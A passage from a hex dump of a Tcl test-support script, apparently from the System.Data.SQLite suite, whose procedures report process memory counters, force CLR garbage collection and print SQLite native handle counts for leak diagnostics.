5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 182c0 20 20 20 20 20 20 20 20 22 3d 3d 3d 3d 20 57 41 "==== WA 182d0 52 4e 49 4e 47 3a 20 66 61 69 6c 65 64 20 74 6f RNING: failed to 182e0 20 63 6c 65 61 6e 75 70 20 69 6e 74 65 72 70 72 cleanup interpr 182f0 65 74 65 72 2c 20 65 72 72 6f 72 3a 20 22 20 5c eter, error: " \ 18300 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 18310 20 20 5c 6e 5c 74 20 24 72 65 73 75 6c 74 20 5c \n\t $result \ 18320 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d n].. }. 18330 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 . }.... 18340 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 68 if {[catch 18350 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 75 70 {.. up 18360 6c 65 76 65 6c 20 31 20 5b 6c 69 73 74 20 64 65 level 1 [list de 18370 62 75 67 20 63 6f 6c 6c 65 63 74 5d 0d 0a 20 20 bug collect].. 18380 20 20 20 20 20 20 7d 20 72 65 73 75 6c 74 5d 7d } result]} 18390 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 183a0 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 if {!$quiet} 183b0 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 183c0 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs $::tes 183d0 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen 183e0 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. 183f0 20 20 20 20 20 20 20 20 20 22 3d 3d 3d 3d 20 57 "==== W 18400 41 52 4e 49 4e 47 3a 20 66 61 69 6c 65 64 20 74 ARNING: failed t 18410 6f 20 63 6f 6c 6c 65 63 74 20 67 61 72 62 61 67 o collect garbag 18420 65 2c 20 65 72 72 6f 72 3a 20 22 20 5c 0d 0a 20 e, error: " \.. 18430 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c \ 18440 6e 5c 74 20 24 72 65 73 75 6c 74 20 5c 6e 5d 0d n\t$result \n]. 18450 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 . }.. 18460 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d }.. } 18470 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... 18480 70 72 6f 63 20 73 65 74 75 70 4d 65 6d 6f 72 79 proc setupMemory 18490 43 6f 75 6e 74 65 72 73 20 7b 20 76 61 72 4e 61 Counters { varNa 184a0 6d 65 20 7d 20 7b 0d 0a 20 20 20 20 20 20 69 66 me } {.. if 184b0 20 7b 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 6a {[haveSQLiteObj 184c0 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 65 ectCommand]} the 184d0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 75 70 76 n {.. upv 184e0 61 72 20 31 20 24 76 61 72 4e 61 6d 65 20 63 6f ar 1 $varName co 184f0 75 6e 74 65 72 0d 0a 0d 0a 20 20 20 20 20 20 20 unter.... 18500 20 73 65 74 20 63 6f 75 6e 74 65 72 28 31 29 20 set counter(1) 18510 5b 6f 62 6a 65 63 74 20 63 72 65 61 74 65 20 2d [object create - 18520 61 6c 69 61 73 20 5c 0d 0a 20 20 20 20 20 20 20 alias \.. 18530 20 20 20 20 20 53 79 73 74 65 6d 2e 44 69 61 67 System.Diag 18540 6e 6f 73 74 69 63 73 2e 50 65 72 66 6f 72 6d 61 nostics.Performa 18550 6e 63 65 43 6f 75 6e 74 65 72 20 50 72 6f 63 65 nceCounter Proce 18560 73 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 ss \.. 18570 20 20 22 57 6f 72 6b 69 6e 67 20 53 65 74 22 20 "Working Set" 18580 5b 66 69 6c 65 20 72 6f 6f 74 6e 61 6d 65 20 5b [file rootname [ 18590 66 69 6c 65 20 74 61 69 6c 20 24 3a 3a 62 69 6e file tail$::bin 185a0 5f 66 69 6c 65 5d 5d 5d 0d 0a 0d 0a 20 20 20 20 _file]]].... 185b0 20 20 20 20 73 65 74 20 63 6f 75 6e 74 65 72 28 set counter( 185c0 32 29 20 5b 6f 62 6a 65 63 74 20 63 72 65 61 74 2) [object creat 185d0 65 20 2d 61 6c 69 61 73 20 5c 0d 0a 20 20 20 20 e -alias \.. 185e0 20 20 20 20 20 20 20 20 53 79 73 74 65 6d 2e 44 System.D 185f0 69 61 67 6e 6f 73 74 69 63 73 2e 50 65 72 66 6f iagnostics.Perfo 18600 72 6d 61 6e 63 65 43 6f 75 6e 74 65 72 20 50 72 rmanceCounter Pr 18610 6f 63 65 73 73 20 5c 0d 0a 20 20 20 20 20 20 20 ocess \.. 18620 20 20 20 20 20 22 57 6f 72 6b 69 6e 67 20 53 65 "Working Se 18630 74 20 50 65 61 6b 22 20 5b 66 69 6c 65 20 72 6f t Peak" [file ro 18640 6f 74 6e 61 6d 65 20 5b 66 69 6c 65 20 74 61 69 otname [file tai 18650 6c 20 24 3a 3a 62 69 6e 5f 66 69 6c 65 5d 5d 5d l $::bin_file]]] 18660 0d 0a 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 .... set 18670 63 6f 75 6e 74 65 72 28 33 29 20 5b 6f 62 6a 65 counter(3) [obje 18680 63 74 20 63 72 65 61 74 65 20 2d 61 6c 69 61 73 ct create -alias 18690 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 186a0 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 System.Diagnosti 186b0 63 73 2e 50 65 72 66 6f 72 6d 61 6e 63 65 43 6f cs.PerformanceCo 186c0 75 6e 74 65 72 20 50 72 6f 63 65 73 73 20 5c 0d unter Process \. 186d0 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 50 72 . "Pr 186e0 69 76 61 74 65 20 42 79 74 65 73 22 20 5b 66 69 ivate Bytes" [fi 186f0 6c 65 20 72 6f 6f 74 6e 61 6d 65 20 5b 66 69 6c le rootname [fil 18700 65 20 74 61 69 6c 20 24 3a 3a 62 69 6e 5f 66 69 e tail$::bin_fi 18710 6c 65 5d 5d 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a le]]].. }.. 18720 0d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 22 .. return " 18730 22 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 ".. }..... 18740 20 70 72 6f 63 20 72 65 70 6f 72 74 4d 65 6d 6f proc reportMemo 18750 72 79 43 6f 75 6e 74 65 72 73 20 7b 20 63 68 61 ryCounters { cha 18760 6e 6e 65 6c 20 76 61 72 4e 61 6d 65 20 70 72 65 nnel varName pre 18770 66 69 78 20 7d 20 7b 0d 0a 20 20 20 20 20 20 69 fix } {.. i 18780 66 20 7b 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 f {[haveSQLiteOb 18790 6a 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 jectCommand]} th 187a0 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 75 70 en {.. up 187b0 76 61 72 20 31 20 24 76 61 72 4e 61 6d 65 20 63 var 1 $varName c 187c0 6f 75 6e 74 65 72 0d 0a 0d 0a 20 20 20 20 20 20 ounter.... 187d0 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs$channel 187e0 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a [appendArgs \.. 187f0 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d "--- 18800 2d 20 22 20 24 70 72 65 66 69 78 20 22 20 63 6f - " $prefix " co 18810 75 6e 74 65 72 20 5c 22 22 20 5c 0d 0a 20 20 20 unter \"" \.. 18820 20 20 20 20 20 20 20 20 20 5b 6f 62 6a 65 63 74 [object 18830 20 69 6e 76 6f 6b 65 20 24 63 6f 75 6e 74 65 72 invoke$counter 18840 28 31 29 20 43 6f 75 6e 74 65 72 4e 61 6d 65 5d (1) CounterName] 18850 20 22 5c 22 20 76 61 6c 75 65 20 69 73 20 22 20 "\" value is " 18860 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b \.. [ 18870 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 24 63 object invoke $c 18880 6f 75 6e 74 65 72 28 31 29 20 52 61 77 56 61 6c ounter(1) RawVal 18890 75 65 5d 20 5c 6e 5d 0d 0a 0d 0a 20 20 20 20 20 ue] \n].... 188a0 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 tputs$channe 188b0 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d l [appendArgs \. 188c0 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d . "-- 188d0 2d 2d 20 22 20 24 70 72 65 66 69 78 20 22 20 63 -- " $prefix " c 188e0 6f 75 6e 74 65 72 20 5c 22 22 20 5c 0d 0a 20 20 ounter \"" \.. 188f0 20 20 20 20 20 20 20 20 20 20 5b 6f 62 6a 65 63 [objec 18900 74 20 69 6e 76 6f 6b 65 20 24 63 6f 75 6e 74 65 t invoke$counte 18910 72 28 32 29 20 43 6f 75 6e 74 65 72 4e 61 6d 65 r(2) CounterName 18920 5d 20 22 5c 22 20 76 61 6c 75 65 20 69 73 20 22 ] "\" value is " 18930 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 18940 5b 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 24 [object invoke $18950 63 6f 75 6e 74 65 72 28 32 29 20 52 61 77 56 61 counter(2) RawVa 18960 6c 75 65 5d 20 5c 6e 5d 0d 0a 0d 0a 20 20 20 20 lue] \n].... 18970 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e tputs$chann 18980 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c el [appendArgs \ 18990 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2d .. "- 189a0 2d 2d 2d 20 22 20 24 70 72 65 66 69 78 20 22 20 --- " $prefix " 189b0 63 6f 75 6e 74 65 72 20 5c 22 22 20 5c 0d 0a 20 counter \"" \.. 189c0 20 20 20 20 20 20 20 20 20 20 20 5b 6f 62 6a 65 [obje 189d0 63 74 20 69 6e 76 6f 6b 65 20 24 63 6f 75 6e 74 ct invoke$count 189e0 65 72 28 33 29 20 43 6f 75 6e 74 65 72 4e 61 6d er(3) CounterNam 189f0 65 5d 20 22 5c 22 20 76 61 6c 75 65 20 69 73 20 e] "\" value is 18a00 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 " \.. 18a10 20 5b 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 [object invoke 18a20 24 63 6f 75 6e 74 65 72 28 33 29 20 52 61 77 56 $counter(3) RawV 18a30 61 6c 75 65 5d 20 5c 6e 5d 0d 0a 20 20 20 20 20 alue] \n].. 18a40 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 }.. }..... 18a50 20 20 70 72 6f 63 20 63 6f 6c 6c 65 63 74 47 61 proc collectGa 18a60 72 62 61 67 65 20 7b 20 63 68 61 6e 6e 65 6c 20 rbage { channel 18a70 7b 6d 69 6c 6c 69 73 65 63 6f 6e 64 73 20 31 30 {milliseconds 10 18a80 30 30 7d 20 7b 71 75 69 65 74 20 74 72 75 65 7d 00} {quiet true} 18a90 20 7d 20 7b 0d 0a 20 20 20 20 20 20 69 66 20 7b } {.. if { 18aa0 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 6a 65 63 [haveSQLiteObjec 18ab0 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 65 6e 20 tCommand]} then 18ac0 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b {.. if {[ 18ad0 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 catch {.. 18ae0 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 object invoke 18af0 20 47 43 20 47 65 74 54 6f 74 61 6c 4d 65 6d 6f GC GetTotalMemo 18b00 72 79 20 66 61 6c 73 65 0d 0a 20 20 20 20 20 20 ry false.. 18b10 20 20 7d 20 72 65 73 75 6c 74 5d 20 3d 3d 20 30 } result] == 0 18b20 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 18b30 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d if {!$quiet} 18b40 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 18b50 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e tputs $chan 18b60 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs 18b70 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 18b80 20 20 20 22 2d 2d 2d 2d 20 6d 65 6d 6f 72 79 20 "---- memory 18b90 69 6e 20 75 73 65 20 62 79 20 74 68 65 20 43 4c in use by the CL 18ba0 52 20 62 65 66 6f 72 65 20 63 6f 6c 6c 65 63 74 R before collect 18bb0 69 6f 6e 2e 2e 2e 20 22 20 5c 0d 0a 20 20 20 20 ion... " \.. 18bc0 20 20 20 20 20 20 20 20 20 20 20 20 24 72 65 73$res 18bd0 75 6c 74 20 22 20 62 79 74 65 73 5c 6e 22 5d 0d ult " bytes\n"]. 18be0 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 . }.. 18bf0 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a } else {.. 18c00 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 tputs 18c10 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 $channel [append 18c20 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 18c30 20 20 20 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e "==== WARN 18c40 49 4e 47 3a 20 66 61 69 6c 65 64 20 74 6f 20 67 ING: failed to g 18c50 65 74 20 43 4c 52 20 6d 65 6d 6f 72 79 20 75 73 et CLR memory us 18c60 61 67 65 2c 20 65 72 72 6f 72 3a 20 22 20 5c 0d age, error: " \. 18c70 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c . \ 18c80 6e 5c 74 20 24 72 65 73 75 6c 74 20 5c 6e 5d 0d n\t$result \n]. 18c90 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 . }.. 18ca0 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 23 23 }.... ### 18cb0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 18cc0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 18cd0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 18ce0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 18cf0 23 23 23 23 23 23 0d 0a 0d 0a 20 20 20 20 20 20 ######.... 18d00 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 18d10 20 52 65 70 65 61 74 65 64 6c 79 20 61 74 74 65 Repeatedly atte 18d20 6d 70 74 20 74 6f 20 63 6f 6c 6c 65 63 74 20 67 mpt to collect g 18d30 61 72 62 61 67 65 20 75 6e 74 69 6c 20 74 68 65 arbage until the 18d40 20 61 6c 6c 6f 74 74 65 64 20 6e 75 6d 62 65 72 allotted number 18d50 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 18d60 6f 66 20 6d 69 6c 6c 69 73 65 63 6f 6e 64 73 20 of milliseconds 18d70 68 61 73 20 65 6c 61 70 73 65 64 2e 20 20 41 6c has elapsed. Al 18d80 77 61 79 73 20 61 74 74 65 6d 70 74 20 74 6f 20 ways attempt to 18d90 63 6f 6c 6c 65 63 74 20 67 61 72 62 61 67 65 0d collect garbage. 18da0 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 61 . # a 18db0 74 20 6c 65 61 73 74 20 6f 6e 63 65 2e 0d 0a 20 t least once... 18dc0 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if 18dd0 20 7b 5b 68 61 76 65 53 51 4c 69 74 65 4f 62 6a {[haveSQLiteObj 18de0 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 68 65 ectCommand]} the 18df0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 74 n {.. set 18e00 20 73 74 61 72 74 20 5b 63 6c 6f 63 6b 20 73 65 start [clock se 18e10 63 6f 6e 64 73 5d 0d 0a 20 20 20 20 20 20 20 20 conds].. 18e20 73 65 74 20 73 74 6f 70 20 5b 65 78 70 72 20 7b set stop [expr { 18e30 24 73 74 61 72 74 20 2b 20 28 24 6d 69 6c 6c 69 $start + ($milli 18e40 73 65 63 6f 6e 64 73 20 2f 20 31 30 30 30 29 7d seconds / 1000)} 18e50 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 6f 20 ].... do 18e60 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 23 0d 0a {.. #.. 18e70 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 # NOTE 18e80 3a 20 41 74 74 65 6d 70 74 20 74 6f 20 66 6f 72 : Attempt to for 18e90 63 65 20 61 20 66 75 6c 6c 20 67 61 72 62 61 67 ce a full garbag 18ea0 65 20 63 6f 6c 6c 65 63 74 69 6f 6e 20 6e 6f 77 e collection now 18eb0 2e 20 20 52 65 70 6f 72 74 20 61 6e 79 0d 0a 20 . Report any.. 18ec0 20 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 # 18ed0 20 65 72 72 6f 72 20 74 68 61 74 20 69 73 20 65 error that is e 18ee0 6e 63 6f 75 6e 74 65 72 65 64 20 69 66 20 77 65 ncountered if we 18ef0 20 66 61 69 6c 2e 0d 0a 20 20 20 20 20 20 20 20 fail... 18f00 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 69 #.. i 18f10 66 20 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 f {[catch {.. 18f20 20 20 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 object 18f30 69 6e 76 6f 6b 65 20 47 43 20 47 65 74 54 6f 74 invoke GC GetTot 18f40 61 6c 4d 65 6d 6f 72 79 20 74 72 75 65 0d 0a 20 alMemory true.. 18f50 20 20 20 20 20 20 20 20 20 7d 20 65 72 72 6f 72 } error 18f60 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 18f70 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 tputs $ch 18f80 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 annel [appendArg 18f90 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 s \.. 18fa0 20 20 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 "==== WARNI 18fb0 4e 47 3a 20 66 61 69 6c 65 64 20 66 75 6c 6c 20 NG: failed full 18fc0 67 61 72 62 61 67 65 20 63 6f 6c 6c 65 63 74 69 garbage collecti 18fd0 6f 6e 2c 20 65 72 72 6f 72 3a 20 22 20 5c 0d 0a on, error: " \.. 18fe0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 18ff0 5c 6e 5c 74 20 24 65 72 72 6f 72 20 5c 6e 5d 0d \n\t$error \n]. 19000 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a . }.... 19010 20 20 20 20 20 20 20 20 20 20 73 65 74 20 6e 6f set no 19020 77 20 5b 63 6c 6f 63 6b 20 73 65 63 6f 6e 64 73 w [clock seconds 19030 5d 0d 0a 20 20 20 20 20 20 20 20 7d 20 77 68 69 ].. } whi 19040 6c 65 20 7b 24 73 74 61 72 74 20 3c 3d 20 24 6e le {$start <=$n 19050 6f 77 20 26 26 20 24 6e 6f 77 20 3c 20 24 73 74 ow && $now <$st 19060 6f 70 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a op}.. }.... 19070 20 20 20 20 20 20 23 23 23 23 23 23 23 23 23 23 ########## 19080 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 19090 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 190a0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 190b0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d ###############. 190c0 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 68 61 ... if {[ha 190d0 76 65 53 51 4c 69 74 65 4f 62 6a 65 63 74 43 6f veSQLiteObjectCo 190e0 6d 6d 61 6e 64 5d 7d 20 74 68 65 6e 20 7b 0d 0a mmand]} then {.. 190f0 20 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 if {[cat 19100 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 ch {.. 19110 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 47 43 object invoke GC 19120 20 47 65 74 54 6f 74 61 6c 4d 65 6d 6f 72 79 20 GetTotalMemory 19130 66 61 6c 73 65 0d 0a 20 20 20 20 20 20 20 20 7d false.. } 19140 20 72 65 73 75 6c 74 5d 20 3d 3d 20 30 7d 20 74 result] == 0} t 19150 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 19160 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 if {!$quiet} th 19170 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 19180 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs$channel 19190 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a [appendArgs \.. 191a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 191b0 22 2d 2d 2d 2d 20 6d 65 6d 6f 72 79 20 69 6e 20 "---- memory in 191c0 75 73 65 20 62 79 20 74 68 65 20 43 4c 52 20 61 use by the CLR a 191d0 66 74 65 72 20 63 6f 6c 6c 65 63 74 69 6f 6e 2e fter collection. 191e0 2e 2e 20 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 .. " \.. 191f0 20 20 20 20 20 20 20 20 24 72 65 73 75 6c 74 20 $result 19200 22 20 62 79 74 65 73 5c 6e 22 5d 0d 0a 20 20 20 " bytes\n"].. 19210 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 19220 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. 19230 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs$cha 19240 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 19250 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 19260 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e 47 3a "==== WARNING: 19270 20 66 61 69 6c 65 64 20 74 6f 20 67 65 74 20 43 failed to get C 19280 4c 52 20 6d 65 6d 6f 72 79 20 75 73 61 67 65 2c LR memory usage, 19290 20 65 72 72 6f 72 3a 20 22 20 5c 0d 0a 20 20 20 error: " \.. 192a0 20 20 20 20 20 20 20 20 20 20 20 5c 6e 5c 74 20 \n\t 192b0 24 72 65 73 75 6c 74 20 5c 6e 5d 0d 0a 20 20 20 $result \n].. 192c0 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d }.. }. 192d0 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 . }..... p 192e0 72 6f 63 20 67 65 74 53 51 4c 69 74 65 48 61 6e roc getSQLiteHan 192f0 64 6c 65 43 6f 75 6e 74 73 20 7b 20 63 68 61 6e dleCounts { chan 19300 6e 65 6c 20 7b 71 75 69 65 74 20 66 61 6c 73 65 nel {quiet false 19310 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 73 65 74 } } {.. set 19320 20 72 65 73 75 6c 74 20 5b 6c 69 73 74 5d 0d 0a result [list].. 19330 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 68 61 76 .. if {[hav 19340 65 53 51 4c 69 74 65 4f 62 6a 65 63 74 43 6f 6d eSQLiteObjectCom 19350 6d 61 6e 64 5d 20 26 26 20 5b 68 61 76 65 43 6f mand] && [haveCo 19360 6e 73 74 72 61 69 6e 74 20 5c 0d 0a 20 20 20 20 nstraint \.. 19370 20 20 20 20 20 20 20 20 20 20 64 65 66 69 6e 65 define 19380 43 6f 6e 73 74 61 6e 74 2e 53 79 73 74 65 6d 2e Constant.System. 19390 44 61 74 61 2e 53 51 4c 69 74 65 2e 43 4f 55 4e Data.SQLite.COUN 193a0 54 5f 48 41 4e 44 4c 45 5d 7d 20 74 68 65 6e 20 T_HANDLE]} then 193b0 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 {.. #.. 193c0 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 41 64 # NOTE: Ad 193d0 64 20 65 61 63 68 20 63 72 69 74 69 63 61 6c 20 d each critical 193e0 68 61 6e 64 6c 65 20 63 6f 75 6e 74 20 74 6f 20 handle count to 193f0 74 68 65 20 72 65 73 75 6c 74 69 6e 67 20 6c 69 the resulting li 19400 73 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a st... #.. 19410 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 20 foreach 19420 6e 61 6d 65 20 5b 6c 69 73 74 20 63 6f 6e 6e 65 name [list conne 19430 63 74 69 6f 6e 43 6f 75 6e 74 20 73 74 61 74 65 ctionCount state 19440 6d 65 6e 74 43 6f 75 6e 74 20 62 61 63 6b 75 70 mentCount backup 19450 43 6f 75 6e 74 5d 20 7b 0d 0a 20 20 20 20 20 20 Count] {.. 19460 20 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 7b if {[catch { 19470 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 62 .. ob 19480 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 6c 61 ject invoke -fla 19490 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c 0d gs +NonPublic \. 194a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 194b0 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c System.Data.SQL 194c0 69 74 65 2e 55 6e 73 61 66 65 4e 61 74 69 76 65 ite.UnsafeNative 194d0 4d 65 74 68 6f 64 73 20 24 6e 61 6d 65 0d 0a 20 Methods$name.. 194e0 20 20 20 20 20 20 20 20 20 7d 20 76 61 6c 75 65 } value 194f0 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a ] == 0} then {.. 19500 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b if { 19510 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d !$quiet} then {. 19520 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 . t 19530 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 puts$channel [a 19540 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 ppendArgs \.. 19550 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 " 19560 2d 2d 2d 2d 20 63 72 69 74 69 63 61 6c 20 68 61 ---- critical ha 19570 6e 64 6c 65 20 63 6f 75 6e 74 20 5c 22 22 20 24 ndle count \"" $19580 6e 61 6d 65 20 22 5c 22 20 69 73 20 22 20 24 76 name "\" is "$v 19590 61 6c 75 65 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 alue \n].. 195a0 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 195b0 20 20 20 20 20 20 20 6c 61 70 70 65 6e 64 20 72 lappend r 195c0 65 73 75 6c 74 20 24 76 61 6c 75 65 0d 0a 20 20 esult $value.. 195d0 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b } else { 195e0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 70 .. tp 195f0 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 uts$channel [ap 19600 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 pendArgs \.. 19610 20 20 20 20 20 20 20 20 20 20 20 20 22 3d 3d 3d "=== 19620 3d 20 57 41 52 4e 49 4e 47 3a 20 66 61 69 6c 65 = WARNING: faile 19630 64 20 74 6f 20 67 65 74 20 63 72 69 74 69 63 61 d to get critica 19640 6c 20 68 61 6e 64 6c 65 20 63 6f 75 6e 74 20 5c l handle count \ 19650 22 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 "" \.. 19660 20 20 20 20 20 20 24 6e 61 6d 65 20 22 5c 22 2c $name "\", 19670 20 65 72 72 6f 72 3a 20 22 20 5c 6e 5c 74 20 24 error: " \n\t$ 19680 76 61 6c 75 65 20 5c 6e 5d 0d 0a 20 20 20 20 20 value \n].. 19690 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 196a0 7d 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 69 }.. } elsei 196b0 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e f {!$quiet} then 196c0 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 {.. #.. 196d0 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 # NOTE: T 196e0 68 65 